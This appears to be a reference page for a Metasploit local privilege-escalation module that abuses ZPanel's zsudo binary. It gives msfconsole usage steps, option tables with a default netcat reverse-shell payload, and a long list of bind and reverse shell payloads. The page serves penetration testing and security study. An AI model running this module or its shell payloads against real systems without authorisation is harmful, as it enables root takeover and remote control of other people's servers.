ZPanel zsudo Local Privilege Escalation Exploit - Metasploit
This page contains detailed information about how to use the exploit/linux/local/zpanel_zsudo metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ZPanel zsudo Local Privilege Escalation Exploit
Module: exploit/linux/local/zpanel_zsudo
Source code: modules/exploits/linux/local/zpanel_zsudo.rb
Disclosure date: 2013-06-07
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): cmd, x86
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module abuses the zsudo binary, installed with zpanel, to escalate privileges. In order to work, a session with access to zsudo on the sudoers configuration is needed. This module is useful for post exploitation of ZPanel vulnerabilities, where typically web server privileges are acquired, and this user is allowed to execute zsudo on the sudoers file.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/zpanel_zsudo
msf exploit(zpanel_zsudo) > show targets
... a list of targets ...
msf exploit(zpanel_zsudo) > set TARGET target-id
msf exploit(zpanel_zsudo) > show options
... show and set options ...
msf exploit(zpanel_zsudo) > set SESSION session-id
msf exploit(zpanel_zsudo) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the linux/local/zpanel_zsudo exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/zpanel_zsudo
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/local/zpanel_zsudo) > show info
Name: ZPanel zsudo Local Privilege Escalation Exploit
Module: exploit/linux/local/zpanel_zsudo
Platform: Linux, Unix
Arch: cmd, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-06-07
Provided by:
sinn3r <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Command payload
1 Linux x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
zsudo /etc/zpanel/panel/bin/zsudo yes Path to zsudo executable
Payload information:
Description:
This module abuses the zsudo binary, installed with zpanel, to
escalate privileges. In order to work, a session with access to
zsudo on the sudoers configuration is needed. This module is useful
for post exploitation of ZPanel vulnerabilities, where typically web
server privileges are acquired, and this user is allowed to execute
zsudo on the sudoers file.
Module Options
This is a complete list of options available in the linux/local/zpanel_zsudo exploit:
msf6 exploit(linux/local/zpanel_zsudo) > show options
Module options (exploit/linux/local/zpanel_zsudo):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
zsudo /etc/zpanel/panel/bin/zsudo yes Path to zsudo executable
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Command payload
Advanced Options
Here is a complete list of advanced options supported by the linux/local/zpanel_zsudo exploit:
msf6 exploit(linux/local/zpanel_zsudo) > show advanced
Module advanced options (exploit/linux/local/zpanel_zsudo):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/zpanel_zsudo module can exploit:
msf6 exploit(linux/local/zpanel_zsudo) > show targets
Exploit targets:
Id Name
-- ----
0 Command payload
1 Linux x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/zpanel_zsudo exploit:
msf6 exploit(linux/local/zpanel_zsudo) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/zpanel_zsudo exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/zpanel_zsudo) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #2007 Merged Pull Request: Add local privilege escalation for ZPanel zsudo abuse
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/multi/http/zpanel_information_disclosure_rce
- auxiliary/fuzzers/tds/tds_login_username
- exploit/linux/local/network_manager_vpnc_username_priv_esc
- exploit/solaris/ssh/pam_username_bof
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/windows/http/efs_easychatserver_username
- exploit/windows/ssh/sysax_ssh_username
- exploit/windows/telnet/gamsoft_telsrv_username
- exploit/unix/webapp/zpanel_username_exec
Authors
- sinn3r
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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